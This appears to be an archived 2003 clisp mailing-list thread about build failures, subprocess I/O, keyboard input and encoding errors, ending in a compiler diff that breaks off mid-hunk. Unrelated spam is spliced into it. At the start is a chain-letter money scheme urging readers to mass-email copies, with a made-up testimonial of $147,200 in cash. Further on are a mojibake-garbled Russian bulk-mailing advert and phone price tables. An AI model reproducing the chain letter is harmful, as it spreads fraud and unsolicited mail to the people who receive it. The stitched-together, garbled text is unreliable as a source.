You can make more money in the next few weeks and
months than you have ever imagined.  Follow the
program EXACTLY AS INSTRUCTED.  Do not change it in
any way.  It works exceedingly well as it is now.

Remember to e-mail a copy of this exciting report
after you have put your name and address in Report # 1
and moved others to #2...#5 as instructed above.  One
of the people  you send this to may send out 100,000
or more e-mails and your name will be on every one of
them.  Remember though, the more you send out the more
potential customers you will reach.  So my friend, I
have given you the ideas, information, materials and
opportunity to become financially independent.
IT IS UP TO YOU
NOW!

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"My name is Mitchell.  My wife, Jody and I live in
Chicago.   I am an accountant with a major U.S.
Corporation and I make pretty good money.  When  I
received this program I grumbled to Jody about
receiving  "junk mail".  I made fun of the whole
thing, spouting my knowledge of the population and
percentages involved.  I "knew" it wouldn't work. 
Jody totally ignored my supposed intelligence and a
few days later she jumped in with both feet.  I made
merciless fun of her, and was ready to lay the old "I
told you so" on her  when the thing didn't work. 
Well, the laugh was on me!
Within 3 weeks she had received 50 responses.  Within
the next 45 days she had received a total  of $
147,200.00.... all CASH!  I was shocked!  Needless to say,
I have joined Jody in her little "hobby".

-Mitchell Wolf M.D.,  Chicago,
Illinois
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ORDER YOUR REPORTS TODAY AND GET STARTED ON THE ROAD
TO FINANCIAL FREEDOM!
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Hello M.K.,

Saturday, June 28, 2003, 4:18:57 PM, you wrote:


> Hi, I am having trouble reading from the I/O stream created when I run
> /bin/ftp on my linux system. This is what I am doing:

> (setq iostm (ext:run-program "/bin/ftp" :input :stream :output :stream))

iostm =>> #<IO TWO-WAY-STREAM>

> When I try to (read-char iostm) it just hangs. Given that the ftp program
> normally presents stdout with the prompt "ftp> ", I was expecting to see #\f
> as the first char.
I think ftp program detects whether its input stream is terminal and
prints a prompt only if it is. Try this:

file zz1:
help
quit

ftp < zz1 > zz2

results in file zz2 without any prompts in it.

-- 
Best regards,
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Yes, that is it.

$ cat|ftp|cat also proves this...

I wonder if there is a way to trick ftp into thinking it is talking to a pty
when (run-program) does it's job?


Thanks & Cheers, M.K.

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At 12:57 PM 6/29/03 +1000, you wrote:
>Hello M.K.,
>
>Saturday, June 28, 2003, 4:18:57 PM, you wrote:
>
>
>> Hi, I am having trouble reading from the I/O stream created when I run
>> /bin/ftp on my linux system. This is what I am doing:
>
>> (setq iostm (ext:run-program "/bin/ftp" :input :stream :output :stream))
>
>iostm =>> #<IO TWO-WAY-STREAM>
>
>> When I try to (read-char iostm) it just hangs. Given that the ftp program
>> normally presents stdout with the prompt "ftp> ", I was expecting to see #\f
>> as the first char.
>I think ftp program detects whether its input stream is terminal and
>prints a prompt only if it is. Try this:
>
>file zz1:
>help
>quit
>
>ftp < zz1 > zz2
>
>results in file zz2 without any prompts in it.
>
>-- 
>Best regards,
> Arseny    
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Hi, I am trying to make clisp-2.30 of FreeBSD 3.4.

Here is the procedure I am following (starting in /usr/src/clisp-2.30):

./configure
cd src
./makemake > Makefile
make config.lisp
make

The poblem occurs when make crashes with the following info:
stream.d:15412: `rl_gnu_readline_p' undeclared (first use this function)
*** Error code 1
Stop.

Note:
I have built and installed the "readline-4.3.tar.gz" source and I have
rebooted my system so that "ldconfig" updates the shared library cache which
now includes the readline libs. This does not help the problem however.


Whould appreciate any help, M.K.

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 > Hi, I am having trouble reading from the I/O stream created when I run
 > /bin/ftp on my linux system. This is what I am doing:

I know this is not directly in resposne to your question, however if
you are running /bin/ftp as a subprocess with the intent of having
your Lisp program act as an FTP client (send and retrieve files)
you're better off speaking to the FTP server directly using the FTP
protocol.

I did a quick check for FTP client libraries for Common Lisp; this one
from Mathhew Danish looks good, but might need a little porting from
Allegro-specific calls:

   http://www.mapcar.org/~mrd/cl-ftp/

The advantage of speaking FTP directly is that you are not dependent
on the system having a human-oriented interactive FTP client that
behaves a certain way.  (E.g. the FTP client on Windows vs. Linux
behave differently in how they prompt).  The protocol is standard.

Hope this helps ...

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> * In message <200306291258.h5TCwKgl000637@van-halen.alma.com>
> * On the subject of "Re: [clisp-list] (ext:run-program) newbie having problems"
> * Sent on Sun, 29 Jun 2003 08:58:20 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> I did a quick check for FTP client libraries for Common Lisp; this one
> from Mathhew Danish looks good, but might need a little porting from
> Allegro-specific calls:
> 
>    http://www.mapcar.org/~mrd/cl-ftp/

see also CLOCC/CLLIB/net.lisp
<http://www.podval.org/~sds/data/cllib.html>

> The advantage of speaking FTP directly is that you are not dependent
> on the system having a human-oriented interactive FTP client that
> behaves a certain way.  (E.g. the FTP client on Windows vs. Linux
> behave differently in how they prompt).  The protocol is standard.

indeed.

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> I have built and installed the "readline-4.3.tar.gz" source and I have
> rebooted my system so that "ldconfig" updates the shared library cache
> which now includes the readline libs. This does not help the problem
> however.

you need to run CLISP configure _after_ readline is installed.

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<center><font size="4">Çäðàâñòâóéòå.</font></center><br>
Ïðåäëàãàåì ðåêëàìó Âàøåãî òîâàðà èëè óñëóãè â Èíòåðíåò ñ ïîìîùüþ ýëåêòðîííûõ e-mail ðàññûëîê.<br><br>
Íà ñåãîäíÿøíèé äåíü ðåêëàìíàÿ ðàññûëêà ïî e-mail ÿâëÿåòñÿ îäíèì èç ñàìûõ ýôôåêòèâíûõ, äîñòóïíûõ è äåøåâûõ ñïîñîáîâ ðåêëàìû. Çàïëàòèâ ñîâñåì íåáîëüèå äåíüãè, è âñåãî çà îäèí äåíü, Âàøå ïðåäëîæåíèå äîñòàâëÿåòñÿ ñðàçó ñîòíÿì òûñÿ÷ ëþäåé, ÷òî íè ïî îáú¸ìàì, íè ïî ñòîèìîñòè íå ñðâíèìî ñ äðóãèìè ìàññîâûìè ñïîñîáàìè ðåêëàìû.<br><br>
Íàøà êîìïàíèÿ ïðîôåññèîíàëüíî çàíèìàåòñÿ ìàññîâûìè e-mail ðàññûëêàìè óæå áîëåå 3-õ ëåò. Ó íàñ â íàëè÷èå áîëüøîé  âûáîð áàç e-mail àäðåñîâ ïî Ðîññèè è âñåìó ìèðó. Ìû ïîñòîÿííî ïîïîëíÿåì, ïðîâåðÿåì íà âàëèäíîñòü è óíèêàëüíîòü íàøè áàçû e-mail àäðåñîâ.<br><br>
Äëÿ íàøåé ðàáîòû èñïîëüçóþòñÿ âûñîêîñêîðîñòíûå êàíàëû äîñòóïà â Èíòåðíåò, âûäåëåííûå ñåðâåðà è ïîñëåäíèå òåõíîëîãèè e-mail ðàññûëîê, ÷òî ãàðàíòèðóåò âûñîêóþ ñêîðîñòü è êà÷åñòâî ðàáîòû.<br><br>
<center><font size="4">Óçíàòü âñå ïîäðîáíîñòè è çàêàçàòü ðàññûëêó ìîæíî ïî òåë. <font color="red" size="4">517-33-52</font>.<br><br>
Çâîíèòå! Íàøè öåíû Âàñ ïðèÿòíî óäèâÿò.</font></center><br><br><br><br><br>
<font size="2">Ïðèíîñèì èçâèíåíèÿ, åñëè íàøå ñîîáùåíèå ïðè÷èíèëî Âàì êàêîå-òî íåóäîáñòâî. Âàø ýëåêòðîííûé àäðåñ áûë âçÿò èç îòêðûòûõ èñòî÷íèêîâ. Äàííàÿ ðàññûëêà îñóùåñòâëåíà â ñîîòâåòñòâèè ñ ÷.4 ñò.29 Êîíñòèòóöèè ÐÔ è ÷.1 ñò.27 Ôåäåðàëüíîãî Çàêîíà ÐÔ îò 16 ôåâðàëÿ 1995 ãîäà ¹ 15-ÔÇ.<br><br>
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Hey all,
   I just searched the sourceforge bugs database, and either didn't find 
anything or didn't know what esoteric term to search for...

   What I've noticed/been-highly-irritated by is that that when I use
		(ext:with-keyboard
			...
			... (read-char-no-hang ext:*keyboard-input*)
			...)
It indeed doesn't hang so long as I don't type anything. But the first 
character I type not only causes it to hang, but is never returned! 
read-char on ext:*keyboard-input* doesn't seem to have this problem.
Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30 
(Red Hat 8 and Red Hat 9)

I figured I'd ask before submitting a bug report (ok, and vent a little 
bit too). Of course last I tried, I couldn't build the cvs head on my 
Mac (error messages long since lost and forgotten)...

-Doug
P.S. Here is the code that (infinite loop warning, your terminal will 
be in unbreakable mode!) shows it (for me):

(defun brokey-input ()
     (let (c)
         (ext:with-keyboard
             (do () (nil)
                 (write-char #\.)
                 (finish-output)
                 (setq c (read-char-no-hang ext:*keyboard-input*))
                 (if (not (null c))
                     (progn (format t "~A~%" c) (finish-output)))))))

When I run (brokey-input) what I see is a flow of dots UNTIL I hit the 
first key. Then the flow stops. When I then hit another key (same or 
different), that key is returned, I get one more dot (#\.) and then the 
program stops waiting for the next character.
(If you comment out the (if (not...)) code, it still stops printing 
dots, so format isn't interfering...



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I have now progressed in my attempt to build clisp 2.30 on FreeBSD 3.4 and I
have managed to get past the error relating to readline. I am now getting a
new error when running make which is:

In file included from lisparit.d:41
ffloat.d:596 parse error
In file included from lisparit.d:42
dfloat.d:1157 parse error
*** Error code 1
Stop.

For the record, I have succesfully made & installed the following GNU
libs/progs:

libsigsegv 2.0
libiconv 1.9.1
readline 4.3
gettext 0.12.1

...and I have started the config/make process from the beginning with a
freshly untared source. Procedure follows:

./configure | tee config.log
cd src
./makemake --with-dynamic-ffi > Makefile
make config.lisp
make

I have the file (config.log) which contains a dump of configure's output to
screen just in case it will help anyone get a better idea of my system. I'm
not sure if I can send attachments to this group, so I will wait to see if
anyone can offer any help.

Also for the record, I successfully made and installed an older version of
clisp (2.27) on this system today.


Thanks and Regards, M.K.


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	<td><strong>Öåíà, USD</strong></td>
	<td><strong>Îïèñàíèå</strong></td>
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	<td>panasonic gd 55</td>
	<td>180$</td>
	<td><a href="http://www.sotovik.ru/rating/pgd55.htm">÷èòàòü</a></td>
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	<td>siemens  s55</td>
	<td>275$ êàìåðà 80$ êàáåëü 15$</td>
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	<td>siemens sl55</td>
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	<td>265$</td>
	<td><a href="http://www.sotovik.ru/rating/n7210.htm">÷èòàòü</a></td>
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<strong><font color="#0000FF">trium mars</font></strong> +ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2000ðóá.<br>
<strong><font color="#FF00FF">motorola v2288</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2418ðóá. <br>
<strong><font color="#808080">motorola v50</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4278ðóá.<br>
<strong><font color="#008000">motorola t192</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2350ðóá.<br>
<strong><font color="#800000">motorola c350</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4860ðóá.<br>
<strong><font color="#000080">motorola t190</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2700ðóá.<br>
<strong><font color="#000080">motorola t191</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3470ðóá.<br>
<strong><font color="#808000">siemens a50</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2945ðóá<br>
<strong><font color="#008080">siemens a55</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3650ðóá<br>
<font color="#008040"><strong>siemens c55</strong></font>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4580ðóá<br>
<strong><font color="#800000">lg W3000</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4099ðóá<br>
<strong><font color="#008080">lg b1200</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3349ðóá<br>
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Has CLisp ever been ported to Epoc? In particular, Psion Series 5 machines.

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> * In message <200307012326.h61NQb4M014571@garfield.bmk.com.au>
> * On the subject of "[clisp-list] problem making clisp-2.30 on old version of FreeBSD continued..."
> * Sent on Wed, 2 Jul 2003 09:26:43 +1000 (EST)
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> I have now progressed in my attempt to build clisp 2.30 on FreeBSD 3.4
> and I have managed to get past the error relating to readline. I am
> now getting a new error when running make which is:
> 
> In file included from lisparit.d:41
> ffloat.d:596 parse error
> In file included from lisparit.d:42
> dfloat.d:1157 parse error
> *** Error code 1
> Stop.

could you please look at the lines in question?
what exactly triggers the error?
gcc --version?
could you please try cvs head?

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>    What I've noticed/been-highly-irritated by is that that when I use
> 		(ext:with-keyboard
> 			...
> 			... (read-char-no-hang ext:*keyboard-input*)
> 			...)
> It indeed doesn't hang so long as I don't type anything. But the first
> character I type not only causes it to hang, but is never returned!
> read-char on ext:*keyboard-input* doesn't seem to have this problem.
> Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30
> (Red Hat 8 and Red Hat 9)

I cannot reproduce this on win32, either with mingw or with cygwin
builds, using cvs head.

could you please try cvs head?

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> * In message <6B67B68E-AC0F-11D7-809C-000393030214@mac.com>
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> Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30
> (Red Hat 8 and Red Hat 9)

I cannot reproduce it with the current cvs head on 
FreeBSD 4.7-RELEASE-p3 i386
Linux 2.4.21-pre7-ac1 #1 SMP i686

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	<td>panasonic gd 55</td>
	<td>180$</td>
	<td><a href="http://www.sotovik.ru/rating/pgd55.htm">÷èòàòü</a></td>
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<strong><font color="#0000FF">trium mars</font></strong> +ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2000ðóá.<br>
<strong><font color="#FF00FF">motorola v2288</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2418ðóá. <br>
<strong><font color="#808080">motorola v50</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4278ðóá.<br>
<strong><font color="#008000">motorola t192</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2350ðóá.<br>
<strong><font color="#800000">motorola c350</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4860ðóá.<br>
<strong><font color="#000080">motorola t190</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2700ðóá.<br>
<strong><font color="#000080">motorola t191</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3470ðóá.<br>
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<font color="#008040"><strong>siemens c55</strong></font>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4580ðóá<br>
<strong><font color="#800000">lg W3000</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4099ðóá<br>
<strong><font color="#008080">lg b1200</font></strong>+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3349ðóá<br>
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hello there,

i have found myself in a bit of a catch 22 with regards installing
clisp.

i have gcc-3.2.3 on GNU/Linux and wish to compile clisp so that i can
use the maxima symbolic math package; they recommend (from
http://glue.umd.edu/~milgram/maxima/faq.html#Lisp0)

  There are currently unresolved problems with floating
  point numbers in Maxima with clisp 2.30. 2.29 is recommended.

so i got 2.29 and tried to compile it... lots of compile errors, so i
thought "bugger it, ill just get 2.30 and hope all is well with mild
compile flags..."

i compiled clisp-2.30 with

 ./configure --with-readline --with-dynamic-ffi \
             --with-dynamic-modules --with-export-syscalls \
             --with-module=regexp --without-debug \
             --build mysrc

and sure enough, the make check failed on several floating point related
tests:

  cat mysrc/suite/*.erg
########################
Form: (TEST-POS-EPSILON DOUBLE-FLOAT-EPSILON)
CORRECT: T
CLISP: NIL

Form: (TEST-NEG-EPSILON DOUBLE-FLOAT-NEGATIVE-EPSILON)
CORRECT: T
CLISP: NIL

Form: (CHECK-EPS DOUBLE-FLOAT-EPSILON #'TEST-POS-EPSILON)
CORRECT: T
CLISP: NIL

Form: (CHECK-EPS DOUBLE-FLOAT-NEGATIVE-EPSILON #'TEST-NEG-EPSILON)
CORRECT: T
CLISP: NIL
########################

so i seen bug 726433 and realised i already was trying the workaround
(not using debugging), so no help there then. thinking this might be a
gcc bug, i tried passing "CC="/path/to/my/old/gcc" ./configure ...", but
the configure script is not able to handle that and thinks my older
gcc-2.95.3 cannot make executables (i know it can). i also tried the
build without any of those configure options.

i then downloaded the CVS version from today, and got THIS
########################
0 errors, 0 warnings
cmp -s init.fas stage/init.fas  || (echo "Test failed." ; exit 1)
cmp -s defseq.fas stage/defseq.fas  || (echo "Test failed." ; exit 1)
cmp -s backquote.fas stage/backquote.fas  || (echo "Test failed." ; exit
1)
cmp -s defmacro.fas stage/defmacro.fas  || (echo "Test failed." ; exit
1)
cmp -s macros1.fas stage/macros1.fas  || (echo "Test failed." ; exit 1)
cmp -s macros2.fas stage/macros2.fas  || (echo "Test failed." ; exit 1)
cmp -s defs1.fas stage/defs1.fas  || (echo "Test failed." ; exit 1)
cmp -s timezone.fas stage/timezone.fas  || (echo "Test failed." ; exit
1)
cmp -s places.fas stage/places.fas  || (echo "Test failed." ; exit 1)
cmp -s floatprint.fas stage/floatprint.fas  || (echo "Test failed." ;
exit 1)
cmp -s type.fas stage/type.fas  || (echo "Test failed." ; exit 1)
cmp -s defstruct.fas stage/defstruct.fas  || (echo "Test failed." ; exit
1)
cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit 1)
Test failed.
make: *** [test] Error 1
########################

and since the alternative lisp compiler (gcl) has the most immense
dependency list ever (which i am not willing to satisfy), i am stuck
with several source tarballs of clisp which are either not able to
compile, or run maxima. does anyone have a patch (against clisp-2.30 or
gcc-3.2.3) which fixes this floating point business? if there is an easy
fix, can i suggest maybe a bugfix release?

two last compile-related things... i also got a build fail if i wanted
to build the wildcard module, newer glibc versions dont seem to like the
_GLIBC macro being defined. [why should i be building this module if my
c library already has wildcard anyway? same goes for regex]. and the
bindings/linuxlibc6 module build fails as errno.h needs to be included
in some places. i tried hacking a build with CC="$CC -include errno.h"
but that broke some of the rest of the clisp compile.

cheers,
Sam
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>> * In message <6B67B68E-AC0F-11D7-809C-000393030214@mac.com>
>> * On the subject of "read-char-no-hang broken?"
>> * Sent on Tue, 1 Jul 2003 18:00:25 -0400
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>> Has anyone else seen this? I've repro'd it on 2.29 (MacOS/X) and 2.30
>> (Red Hat 8 and Red Hat 9)
>
> I cannot reproduce it with the current cvs head on
> FreeBSD 4.7-RELEASE-p3 i386
> Linux 2.4.21-pre7-ac1 #1 SMP i686

Sam,
	Was able to build cvs head on my RedHat 8 Linux box this AM. The clisp 
post build tests failed with FFI problems, but I don't care about that 
right now. I was able to verify your behaviour: IT WORKS!!! On to 
Jaguar!
	BTW: Is there a time frame for the next official release (2.31?) If it 
was mentioned on the list, I guess I missed it. Not a biggie, just 
curious.
	Thanks!
		<D\'gou



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> * In message <20030705003758.6a456e27.fommil@yahoo.ie>
> * On the subject of "[clisp-list] catch 22 compiling clisp for maxima"
> * Sent on Sat, 5 Jul 2003 00:37:58 +0100
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> i then downloaded the CVS version from today, and got THIS
> cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit 1)
> Test failed.
> make: *** [test] Error 1

this is a known issue - Kaz Kylheku is working on it.
type "make testsuite" and it will work.
you can safely ignore it.

> [why should i be building this module if my c library already has
> wildcard anyway? same goes for regex]

not everyone is running glibc.
it would have been nice if the configuration process for regexp and
wildcard detected that the necessary functionality if available in
libc - patches are welcome.

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Sam Steingold wrote:
> > i then downloaded the CVS version from today, and got THIS
> > cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit
> > 1) Test failed.
> > make: *** [test] Error 1
> this is a known issue - Kaz Kylheku is working on it.
> type "make testsuite" and it will work.
> you can safely ignore it.
(PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST
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(C-SELF #\w #\j)))
make[1]: *** [tests] Segmentation fault (core dumped)
make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite'

hmm... seems i am back to that good 'ol catch22

does anyone remember which patch fixed the 2.30 floating point issues?
thats really all i'm after, since i feel a little odd using a math
package which i know is compiled by a lisp with dodgy floating points...
i am putting off installing maxima until i get a stable clisp

cheers,
Sam

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> * In message <20030707102028.5bf16a12.fommil@yahoo.ie>
> * On the subject of "Re: [clisp-list] catch 22 compiling clisp for maxima"
> * Sent on Mon, 7 Jul 2003 10:20:28 +0100
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> Sam Steingold wrote:
> > > i then downloaded the CVS version from today, and got THIS
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> > this is a known issue - Kaz Kylheku is working on it.
> > type "make testsuite" and it will work.
> > you can safely ignore it.
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> (C-SELF #\w #\j)))
> make[1]: *** [tests] Segmentation fault (core dumped)
> make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite'

This is FFI, it should not concern you either.
Joerg Hoehle is working on this.

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When I try to load a file with Spanish characters (?, ?, ?, ?, ? or ?) the
following error message appears:

*** - invalid byte #xF3 in CHARSET:ASCII conversion

In the Troubles section said:
"This means that you are trying to read ("invalid byte") or write 
("character
cannot be represented") a non-ASCII character from (or to) a character 
stream
which has ASCII STREAM-EXTERNAL-FORMAT. The default is described in The Fine
Manual."

so, I've added in the $HOME/.clisprc.lisp:

#+unicode
(setf custom:*default-file-encoding*
(ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix))

but the error remains.

I have LINUX (Debian).

Is there any solution for this problem?

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> * In message <3F0AD0A8.4070607@inf.uc3m.es>
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> *** - invalid byte #xF3 in CHARSET:ASCII conversion

please give us a specific transcript of what you do.
what commands? in what order?


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A somehow connected problem:

if I have in my home directory a file whose name contains an 8-bit,
non-ASCII character (in my case it was an ISO--8859-1
#\LATIN_SMALL_LETTER_E_WITH_ACUTE ) and no .cshrc file, I get (before
the prompt) the error

*** - invalid byte sequence #xE9 #x72 #x61 in CHARSET:UTF-8 conversion
1. Break [1]>

The problem disappears with a .clisprc file or with clisp -norc , so
it should be a directory search done in unicode.

Carlo Traverso




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> * In message <200307081652.h68GqFh20157@posso.dm.unipi.it>
> * On the subject of "Re: [clisp-list] FAQ"
> * Sent on Tue, 8 Jul 2003 18:52:15 +0200
> * Honorable Carlo Traverso <traverso@dm.unipi.it> writes:
>
> A somehow connected problem:
> 
> if I have in my home directory a file whose name contains an 8-bit,
> non-ASCII character (in my case it was an ISO--8859-1
> #\LATIN_SMALL_LETTER_E_WITH_ACUTE ) and no .cshrc file, I get (before
> the prompt) the error
> 
> *** - invalid byte sequence #xE9 #x72 #x61 in CHARSET:UTF-8 conversion
> 1. Break [1]>
> 
> The problem disappears with a .clisprc file or with clisp -norc , so
> it should be a directory search done in unicode.

of course.
CLISP looks for .clisprc and this means calling DIRECTORY.
if .clisprc appears before the non-ASCII file, you are fine.

the solution: <http://clisp.cons.org/clisp.html#opt-enc>
<http://clisp.cons.org/impnotes.html#path-enc>

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <200307081652.h68GqFh20157@posso.dm.unipi.it> * On
    >> the subject of "Re: [clisp-list] FAQ" * Sent on Tue, 8 Jul 2003
    >> 18:52:15 +0200 * Honorable Carlo Traverso
    >> <traverso@dm.unipi.it> writes:
    >> 
    >> A somehow connected problem:
    >> 
    >> if I have in my home directory a file whose name contains an
    >> 8-bit, non-ASCII character (in my case it was an ISO--8859-1
    >> #\LATIN_SMALL_LETTER_E_WITH_ACUTE ) and no .cshrc file, I get
    >> (before the prompt) the error
    >> 
    >> *** - invalid byte sequence #xE9 #x72 #x61 in CHARSET:UTF-8
    >> conversion 1. Break [1]>
    >> 
    >> The problem disappears with a .clisprc file or with clisp -norc
    >> , so it should be a directory search done in unicode.

    Sam> of course.  CLISP looks for .clisprc and this means calling
    Sam> DIRECTORY.  if .clisprc appears before the non-ASCII file,
    Sam> you are fine.

    Sam> the solution: <http://clisp.cons.org/clisp.html#opt-enc>
    Sam> <http://clisp.cons.org/impnotes.html#path-enc>

Why a DIRECTORY, and not a PROBE-FILE? This could avoid a catch-22
situation (you cannot set the encoding in .clisprc before it is read -
of course you can on the command line, but avoiding the error should
be better).

Carlo





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> * In message <200307081756.h68HuSL23492@posso.dm.unipi.it>
> * On the subject of "Re: [clisp-list] FAQ"
> * Sent on Tue, 8 Jul 2003 19:56:28 +0200
> * Honorable Carlo Traverso <traverso@dm.unipi.it> writes:
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> of course.  CLISP looks for .clisprc and this means calling
>     Sam> DIRECTORY.  if .clisprc appears before the non-ASCII file,
>     Sam> you are fine.
> 
>     Sam> the solution: <http://clisp.cons.org/clisp.html#opt-enc>
>     Sam> <http://clisp.cons.org/impnotes.html#path-enc>
> 
> Why a DIRECTORY, and not a PROBE-FILE? This could avoid a catch-22
> situation (you cannot set the encoding in .clisprc before it is read -
> of course you can on the command line, but avoiding the error should
> be better).

because LOAD has to search *LOAD-PATH*.
see SEARCH-FILE in init.lisp for details.

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> * In message <20030705003758.6a456e27.fommil@yahoo.ie>
> * On the subject of "[clisp-list] catch 22 compiling clisp for maxima"
> * Sent on Sat, 5 Jul 2003 00:37:58 +0100
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> cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit 1)
> Test failed.
> make: *** [test] Error 1

I think I fixed this in the CVS.
Please try again.

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Sam Steingold wrote:
> > cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit
> > 1) Test failed.
> > make: *** [test] Error 1
> I think I fixed this in the CVS.

sorry...

cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit 1)
Test failed.

is it just me, or are the sourceforge cvs servers always stressed to
their limits? i got about 10 "end of file from server" messages on login
as anonymous. on savannah, ive never had this; as either anonymous or as
a user.

how stable is cvs compared with clisp-2.30? ive looked through the
archives to try and find a fix for the floating point issues in 2.30 (i
am assuming they have been fixed?), but haven't been able to come across
them.. does anyone have any pointers?

cheers,
Sam

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> * In message <20030708200634.1a6424f1.fommil@yahoo.ie>
> * On the subject of "Re: catch 22 compiling clisp for maxima"
> * Sent on Tue, 8 Jul 2003 20:06:34 +0100
> * Honorable Sam Halliday <fommil@yahoo.ie> writes:
>
> cmp -s format.fas stage/format.fas  || (echo "Test failed." ; exit 1)
> Test failed.

try within 24 hours:

On 2003-06-13, changes were made to ViewCVS access and pserver CVS access.
pserver-based CVS access from this host (the project shell server) will not
be changed.  pserver-based CVS access from other hosts and ViewCVS access
will now work against data on the backup CVS server (this is a transparent
change and does not require any configuration changes on your part), as to
reduce load on the primary CVS server and improve the performance of
developer CVS access.  Data on the backup CVS server is roughly 24 hours
old, between sync runs.  This change is temporary and is expected to be
reverted in August.  See the Site Status page on SourceForge.net for details.

> is it just me, or are the sourceforge cvs servers always stressed to
> their limits? i got about 10 "end of file from server" messages on
> login as anonymous. on savannah, ive never had this; as either
> anonymous or as a user.

see also
<http://sourceforge.net/docman/display_doc.php?docid=2352&group_id=1>

you can also look at <ftp://cvs2.cons.org/pub/lisp/clisp/snapshots>
or try the appended patch.

> how stable is cvs compared with clisp-2.30?

pretty stable.  AFAICT, everything that runs on clisp-2.30 or clisp-2.29
will run on CVS head as well.

the reason it is not released is that some new features have not been
quite polished yet.  see <http://clisp.cons.org/wanted.html>.

the FFI regression crash you observe is due to the new test that
uncovers an old problem - which needs to be fixed, of course.

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Index: compiler.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -w -b -u -b -w -i -B -r1.125 -r1.126
--- compiler.lisp	14 May 2003 19:52:06 -0000	1.125
+++ compiler.lisp	8 Jul 2003 18:39:01 -0000	1.126
@@ -6462,7 +6462,7 @@
   (let ((erg (gensym)) (tail (gensym))
         (blockname (gensym))
         (restvars (gensym-list forms))
-        (tag (gensym)))
+        (tag (gensym)) (tmp (gensym)))
     `(LET ((,erg NIL)
            ,@(case adjoin-fun ((CONS)) ((NCONC APPEND) `((,tail nil)))))
        (BLOCK ,blockname
@@ -6476,20 +6476,17 @@
                                                ,erg))))
                  ((NCONC)
                   #'(lambda (itemvars)
-                      `(if (consp ,erg)
-                           (setf ,tail (last ,tail)
-                                 (cdr ,tail) (FUNCALL ,funform ,@itemvars))
-                           (setq ,erg (FUNCALL ,funform ,@itemvars)
-                                 ,tail ,erg))))
+                      `(let ((,tmp (FUNCALL ,funform ,@itemvars)))
+                         (if (consp ,erg)
+                           (setf ,tail (last ,tail) (cdr ,tail) ,tmp)
+                           (setq ,erg ,tmp ,tail ,erg)))))
                  ((APPEND)
                   #'(lambda (itemvars)
-                      `(if (consp ,erg)
-                           (setf ,tail (last ,tail)
-                                 (cdr ,tail) (copy-list-lax
-                                              (FUNCALL ,funform ,@itemvars)))
-                           (setq ,erg (copy-list-lax
-                                       (FUNCALL ,funform ,@itemvars))
-                                 ,tail ,erg)))))
+                      `(let ((,tmp (copy-list-lax
+                                    (FUNCALL ,funform ,@itemvars))))
+                         (if (consp ,erg)
+                           (setf ,tail (last ,tail) (cdr ,tail) ,tmp)
+                           (setq ,erg ,tmp ,tail ,erg))))))
                blockname
                restvars)
              (SETQ ,@(shift-vars restvars))
@@ -6503,7 +6500,7 @@
   (let ((erg (gensym)) (tail (gensym))
         (blockname (gensym))
         (restvars (gensym-list forms))
-        (tag (gensym)))
+        (tag (gensym)) (tmp (gensym)))
     `(LET ((,erg NIL)
            ,@(case adjoin-fun ((CONS)) ((NCONC APPEND) `((,tail nil)))))
        (BLOCK ,blockname
@@ -6515,18 +6512,15 @@
                ((CONS)
                 `(SETQ ,erg (,adjoin-fun (FUNCALL ,funform ,@restvars) ,erg)))
                ((NCONC)
-                `(if (consp ,erg)
-                     (setf ,tail (last ,tail)
-                           (cdr ,tail) (FUNCALL ,funform ,@restvars))
-                     (setq ,erg (FUNCALL ,funform ,@restvars)
-                           ,tail ,erg)))
+                `(let ((,tmp (FUNCALL ,funform ,@restvars)))
+                   (if (consp ,erg)
+                     (setf ,tail (last ,tail) (cdr ,tail) ,tmp)
+                     (setq ,erg ,tmp ,tail ,erg))))
                ((APPEND)
-                `(if (consp ,erg)
-                     (setf ,tail (last ,tail)
-                           (cdr ,tail) (copy-list-lax
-                                        (FUNCALL ,funform ,@restvars)))
-                     (setq ,erg (copy-list-lax (FUNCALL ,funform ,@restvars))
-                           ,tail ,erg))))
+                `(let ((,tmp (copy-list-lax (FUNCALL ,funform ,@restvars))))
+                   (if (consp ,erg)
